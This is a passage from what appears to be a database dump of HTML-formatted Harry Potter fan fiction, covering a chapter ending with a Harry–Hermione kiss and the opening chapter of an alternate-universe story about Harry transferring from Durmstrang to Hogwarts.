die,</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><br>\nTill we both break down and cry.<br>\nI wanna hold you till the fear in me subsides.</i></b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></b></p>\n\n<p class="MsoNormal">Hermione&#8217;s eyes flew open as Harry\nkissed her. Many emotions were evoked and they stirred around in her heart. She\nhad no availability to explain it. She didn&#8217;t push Harry away. It seemed as if\nthat this was what her heart wanted, what her heart needed. That little\ntaunting voice behind her head telling her that she was cheating on Ron seemed\nnon-existent at this moment. There was this chemistry between them, a chemistry\nthat she couldn&#8217;t explain. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her eyes fluttered close as her arms\nwent around his neck, wanting to be closer to him as she kissed him. This felt\nso right, felt so safe, so special. She enjoyed it. The taunting voice\nseemingly grew louder and her eyes flew open as she stumbled back. She noticed\nHarry&#8217;s questioning eyes on her as she quickly shook her head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What am I doing, what are we doing?&#8221;\nHermione muttered under her breath. Harry wanted to pull her back close again\nbut she just stumbled away. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We can&#8217;t do this, we can&#8217;t.&#8221; Hermione\nsaid as she ran away, in tears, leaving Harry to ponder on his own. Hermione\ncried. What was she doing? Didn&#8217;t she love Ron? Why was she doing this? Just\nbecause Ron broke her heart doesn&#8217;t&#8217; mean she has to do the same? Or was it\nthat the one she loved was Harry all along? No, it was impossible,\nHarry was just her best friend, just her best friend. <i style="mso-bidi-font-style:\nnormal">Why deny the fact that you do feel for him? </i>The little taunting\nvoice was back again. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shut Up.&#8221; Hermione screamed. She was\nconfused, and didn&#8217;t know what to do. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">------------------------------------------------------------------------</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry watched Hermione go. <i style="mso-bidi-font-style:normal">Now what did I do? </i>Harry paced the sandy\nbeach, scratching his head profusely. He was angry with himself. Why did he do\nthat? That would put a strain on their friendship and he knew it. He hated\nhimself and kicked the sand in his path. He had to go and mess up his life. But\nhe knew that he loved Hermione, it was something that he felt that he could no\nlonger deny it, even if he wanted to. Perhaps this was a better solution.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He could feel the chemistry between\nthem, the electric feeling running through his veins when his lips first\ntouched hers. His hands unknowingly wandered to his lips. He swung them down in\nanger. He had ruined everything. He began singing loudly, wanting to release\nall the pent up feelings within him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And Sometimes\nwhen we touch&#8221; (A/n: The irony of this. Both best friends do think alike.. singing out loud when they are\nangry.. hehe.. ) </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">So do you like this chapter? Well, we&#8217;ve\ncome to the end of this chapter, and probably, very soon to the end of this\nstory, perhaps 2-3 chapters more&#8230; but it may increase&#8230; depends on how many\nideas I have :D Hope you have enjoyed it and please review :D\n</p>\n\n\n\n\n\n\n'),
	(24, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Disclaimer: &nbsp;Not mine,\nnot mine, not mine.&nbsp; The original HP\nCharacters and situations are not mine.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: This fic is definitely not\nfor Ron lovers. Take my warning seriously, he is not a\nnice guy.&nbsp; The story will get violent in\nplaces.&nbsp; Remember, I&#8217;m not forcing you to\nread this so don&#8217;t flame me.&nbsp; If you do\ndecide to read it, it&#8217;s your choice.&nbsp; I&#8217;m\nnot holding your arm behind your back saying you had better read this, cause I know where your family lives. There is a reason why\nthe rating is R/NC-17. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Warning: comical Ron bashing and non comical Ron bashing\nahead.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And thanks to Heaven for helping me work out some of the\ndetails of this fic, now go read her fic Return To Me, you&#8217;ll all love\nit. Trust me. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Hidden Beneath</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Chapter 1&#8212;The New\nStudent</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry Potter who was also known as\nThe-Boy-Who-Lived, and The-Sole- Defeater- of\n&#8211;Voldemort, passed through the barrier to Platform Nine and Three\nQuarters.&nbsp; This was his first year at\nHogwarts.&nbsp; He was the new student,\ntransferring from Durmstrang where he had attended happily since his first\nyear.&nbsp; Harry really didn&#8217;t want to\ntransfer schools, he was happy in Durmstrang, he had\nfriends, a girlfriend. Wait a minute; he didn&#8217;t have a girlfriend anymore. She\ndecided that she wanted to see other people, and he wasn&#8217;t going to stand in\nher way, so he was single once again.&nbsp;\nNow the headmaster of Durmstrang had told him that he should return to England\nand go to school there, that way he could get on with his life instead of\nharping on the past.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry agreed and was now standing\nbefore the train, he saw people hurrying through the crowd trying to board the\nHogwarts Express.&nbsp; He felt something tap\nhim on the shoulder; he turned around and found someone looking at him, more\nlikely staring at his unique lightning bolt scar.&nbsp; He was feeling slightly uncomfortable, &#8220;can I\nhelp you?&#8221; He said impatiently.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The young boy shook his head as if\ntrying to clear a thought &#8220;Oh I apologize, I didn&#8217;t mean to stare I was just\nwondering if you were, well you know. Are you?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Am I who?&#8221; Harry\nasked, his eyes narrowed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are you Harry Potter?&#8221; He asked,\nhis eyes growing wide with anticipation.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;If I say yes, will you leave me\nalone?&#8221; Harry searched the boy who looked like he was going to wet himself, and\nhe saw the boy nod.&nbsp; &#8220;Then I am\nHarry.&#8221;&nbsp; He watched the boy&#8217;s eyes grow\nas wide as saucers.&nbsp; Without warning the\nboy took off towards the train, obviously to spread the word that Harry Potter\nwas going to be on the train.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry shook his head back and\nforth as he started moving his cart closer to the train.&nbsp; He managed to get his trunk loaded and went\nto find a compartment.&nbsp; Much to his\ndismay most of them were filled, he at least wanted to find one compartment\neither empty or with only one person in it. He did not want to be attacked by a\nmob of students.&nbsp; He looked into a\ncompartment window and saw two boys in it, one of them\nhad blonde hair while the other had light brown hair.&nbsp; Harry opened the door and stepped in\nslightly.&nbsp; &#8220;Do you two mind if I sit in\nhere with you?&nbsp; The rest of the\ncompartments have been filled already.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The two boys shook their heads. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No, come on in.&#8221; One of them said\nwith a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry, without closing the door\nstepped all the way into the compartment and sat down across from the\nboys.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We have never seen you here\nbefore, are you a transfer student?&#8221; The other boy asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The train started moving, and\nHarry smiled at the two boys, &#8220;yeah, I transferred from Durmstrang.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Really?&#8221;\nOne of them said, there was a touch of fear in his\nvoice.&nbsp; &#8220;I heard that they teach the Dark\nArts there as well as the defenses, is that right?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded, &#8220;Yes that&#8217;s\ncorrect.&nbsp; It&#8217;s really not that big of\ndeal, the more you know about the Dark Arts the more you can defend yourself\nfrom it.&#8221; Harry explained.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;ll take your word for it.&#8221;&nbsp; The other blonde said. &#8220;So..\nWhat&#8217;s your name?&#8221; He changed the subject.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry.&#8221; He simply said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;As in Harry\nPotter?&#8221; The other one asked</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah, that&#8217;s me.&#8221; Harry was\nbecoming very irritated.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You killed You-Know-Who?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes.&#8221; Harry glanced out the\nwindow.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So you&#8217;ve actually killed\nsomeone?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;ve killed a lot of people all\nright. Can we not talk about this please?&#8221; Harry said trying to keep his tone\ndown.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sorry.&#8221; The blonde noticed that\nHarry was getting just a bit uncomfortable, he wondered if he would strike him\ndead if he continued with the questions.&nbsp;\nFrom what he heard about Harry Potter was that, he was someone to fear.\nCurses weren&#8217;t a problem, he could do the deadliest\ncurse by just thinking about them.&nbsp; He\nhad amazing powers, and could even do powerful wandless magic, on occasion of\ncourse.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry took in a deep breath &#8220;okay\nnow you know who I am, just who are you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m Draco Malfoy and this is my\nbest friend Neville Longbottom.&nbsp;\nUnfortunately we can only be friends outside of our houses.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry squinted\nhis eyes in confusion, &#8220;what do you mean?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well for one I&#8217;m in Ravenclaw,\nand Neville here is in Gryffindor.&#8221; Draco said, &#8220;They are only two of the four\nhouses you could be placed in.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Understanding, Harry nodded.&nbsp; He saw Neville&#8217;s head snap towards the open\ncompartment doors, Harry followed the boys gaze and\nsaw a tall red head, holding the hand of a tall girl with brown hair.&nbsp; Still holding onto the girl&#8217;s hand he stepped\ninside the compartment.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hello Gentlemen.&#8221; The red head\nsaid with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Neville and Draco nodded, &#8220;Hey.&#8221;\nThey both said at the same time.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The red head looked at the Harry,\n&#8220;Well it seems we are getting a new student that isn&#8217;t a first year.&nbsp; How about that.&#8221;&nbsp; He smiled. &#8220;I&#8217;m Ron Weasley by the way.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry.&#8221; Harry said plainly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron knew who that was. &#8220;Ah, I\nheard the rumor of a certain famous Harry Potter was aboard the train coming to\nour school.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah, that&#8217;s me.&#8221; Harry rolled\nhis eyes, out of the corner of his eye, he saw the girl tug on Ron&#8217;s hand.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ron, I don&#8217;t want to go and see Crabbe or Goyle.&#8221; She leaned in\ncloser to his ear.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry had excellent hearing; he\ncould hear exactly what she was saying.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;They always look at me funny.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So.&#8221; Ron said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It makes me uncomfortable.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You know I have to make my rounds\nor my popularity will fall.&#8221; Ron looked over at Harry it seemed he was eaves\ndropping, &#8220;Well don&#8217;t worry about it, okay.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">While Ron and the girl were in\nquiet conversation, Harry got a good look at the girl.&nbsp; She was tall, and very pretty.&nbsp; Her hair was in curled ringlets that hung lose down her back, she had simple diamond studs resting in\nher ears.&nbsp; She wore a plain orange\nt-shirt and a pair of thigh high jean shorts.&nbsp;\nThe only thing he couldn&#8217;t really see were her eyes, when Ron and the\ngirl came inside the compartment she had been looking towards the floor.&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry then wondered why this Ron\ndidn&#8217;t introduce his obvious girlfriend.&nbsp;\nAfter all he introduced himself. It was only polite manners that he\nwould introduce his companion. He would go ahead and ask who this girl was, he\nwas about to speak up when he felt something come down on his shoulder, he\nturned to find Draco&#8217;s hand resting on his person, shaking his head no.&nbsp; He sensed that somehow this Draco knew what he\nwas going to do.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Neville cleared his throat which\nbroke apart Ron and the girl&#8217;s conversation.&nbsp;\nThe girl looked up at Neville and gave her some kind of a slight head\nnod. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry watched the girl smile a\nlittle and then look back towards the floor.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron looked at Draco, Neville and\nthen Harry.&nbsp; &#8220;Well gentlemen it&#8217;s been\nfun, I&#8217;ll see you around.&#8221; Ron looked at the girl. &#8220;come\non, let&#8217;s go.&#8221; He said and he started pulling her from the compartment.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Neville stood up from the seat and\nwent to close the compartment doors, he sighed with relief\nand pressed his back against the doors.&nbsp;\n&#8220;That was close.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just who is the pompous ass?&#8221;\nHarry asked. &#8220;I know he said his name is Ron Weasley, but who the hell does he\nthink he is?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;He is the most influential guy at\nHogwarts; he&#8217;s the star Quidditch player.&nbsp;\nHe&#8217;s almost at the top of his class.&nbsp;\nHe has her for a girlfriend, and if he ever finds out I&#8217;m seeing his\nsister, he will kill me.&#8221; Neville said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry turned to Draco, &#8220;just why\ndid you stop me from talking to them, I was only going to ask who that girl\nwas.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That would have been a mistake.&#8221;\nNeville said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry turned back around to face\nNeville, &#8220;Why is that?</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;She happens to be Ron&#8217;s\ngirlfriend; not very many are really allowed to talk to her.&nbsp; Most guys know to stay clear of her.&nbsp; Only because they are afraid of Ron, I know I\nam.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well who is she? I want to know.&#8221;\nHarry said crossing his arms over his chest.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Draco smirked, &#8220;Yeah I know you\ndo, who wouldn&#8217;t right?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Neville chuckled a bit, &#8220;Her name\nis Hermione Granger, and she is strictly off limits to the rest of us\nguys.&nbsp; She has been since the end of\nfourth year.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Off limits huh?&#8221; Harry was never\none to go with the flow he would always do the exact opposite.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Draco somehow knew that, &#8220;look you\ndon&#8217;t want to go around causing her trouble okay.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Causing her trouble?&#8221; Harry felt\nconfused</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Neville elbowed Draco hard in the\nside. Draco turned and glared at Neville. They both exchanged some weird\neyebrow language.&nbsp; Draco sighed and then\nturned back towards Harry, &#8220;I meant you don&#8217;t want to go around causing trouble\nfor yourself.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey, trouble is my middle name.&#8221;\nHarry said with a half grin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just take my word for it, it&#8217;s better if you don&#8217;t try anything with her.&#8221; Draco\nsaid.&nbsp; He knew he wasn&#8217;t suppose to say anything, he got the information in strict\nconfidence from Neville, and he almost blew it.&nbsp;\n&#8220;You&#8217;ll end up in the hospital wing for days if Ron Weasley ever found\nout you made a play for his girl.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well what he doesn&#8217;t know, won&#8217;t hurt him.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s right, it will hurt you.&#8221;\nNeville said with a smirk, &#8220;and besides there are other pretty girls at\nHogwarts, Hermione is only one of them.&nbsp;\nThere&#8217;s quite a few.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah, there&#8217;s Blaise Zambini of Slytherin house.&#8221; Draco said, he was suppose to go to Slytherin himself, he was the only member\nof the Malfoy family not admitted into Slytherin.&nbsp; His father was furious.&nbsp;&nbsp; He shook his head of the memory of his enraged\nfather and then thought about more girls at Hogwarts.&nbsp; &#8220;Oh then there&#8217;s the lovely Cho Chang of\nRavenclaw.&#8221; Draco said dreamily, &#8220;She&#8217;s a year older than us and extremely\nhot.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh get over your crush man, you\ncould never snag her. She&#8217;s with Cedric who&#8217;s playing for the Chuddly Canons\nand she&#8217;s not about to break up with him and you know it.&#8221; Neville said, &#8220;But\nthere is also Lavender Brown, she&#8217;s cute.&nbsp;\nThen Padma Patil of Gryffindor.&nbsp;\n(A/N: Yes I know Padma is in another house,\nbut this is AU remember some things are going to be different. I switched\nhouses with Patil twins, just for a change).&nbsp; Susan is quite fetching.&#8221; Neville didn&#8217;t of\ncourse include his own girl friend in the list of names, she was so beautiful\ntoo but she was taken.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay, Okay. I get the picture,\nyes there are probably a lot of very lovely, and pretty girls at Hogwarts I&#8217;m\nnot daft you know, I wasn&#8217;t top in my year at Durmstrang for being dense.&nbsp; I know a pretty girl when I see one.&#8221; Harry\nsaid with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The three boys took their\nseats.&nbsp; &#8220;So Harry, what house you hoping\nfor?&#8221; Neville said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m not sure, I&#8217;m afraid I don&#8217;t\nknow anything about them.&#8221; Harry said as he leaned back into the cushion.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well there&#8217;s Ravenclaw, I&#8217;m in\nthere.&#8221; Draco said pointing to himself, &#8220;That&#8217;s the\nhouse for us smarties.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yep,&#8221; Neville nodded. &#8220;Then\nthere&#8217;s Huffelpuff, for loyal and hardworking students, Gryffindor, for the\nbrave and Slytherin for the ambitious and mostly evil students.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Not all Slytherin&#8217;s are evil\nNeville. Blaise is not.&#8221; Draco said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Neville leaned in closer, &#8220;yeah\nwell what about your father, and your mother, your sister, your aunt, and\nyour&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All right, geeze\nman I get the point.&#8221; Draco said. &#8220;Okay it&#8217;s mostly full of students who end up\non the wrong path.&#8221; Draco said to Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded, &#8220;ah I see.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The three boys conversed\nthe rest of the way to Hogwarts, the snack cart lady came by and they bought\ngoodies and gobbled them down, they were soon at Hogwarts.&nbsp; Harry stepped off the train and he saw a\nlarge, very large man directing the students.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You better go find out what they\nare going to do with you, you are a transfer not a first year.&nbsp; Hagrid will direct you&#8221; Neville said, &#8220;we&#8217;ll see you there.&#8221;&nbsp;\nHe waved as he walked towards the horseless carriages.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry waved back and then went up\nto the very large man, who looked down at him with a soft smile.&nbsp; &#8220;Hello, I&#8217;m Harry Potter. Can you tell me\nwhere I&#8217;m suppose to go?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah, so you&#8217;re Harry.&nbsp; Sure no problem.&nbsp; You come with me we&#8217;ll get you there.&nbsp; You can ride in with the first years on the\nboats, then Professor McGonagall will take it from\nthere.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" 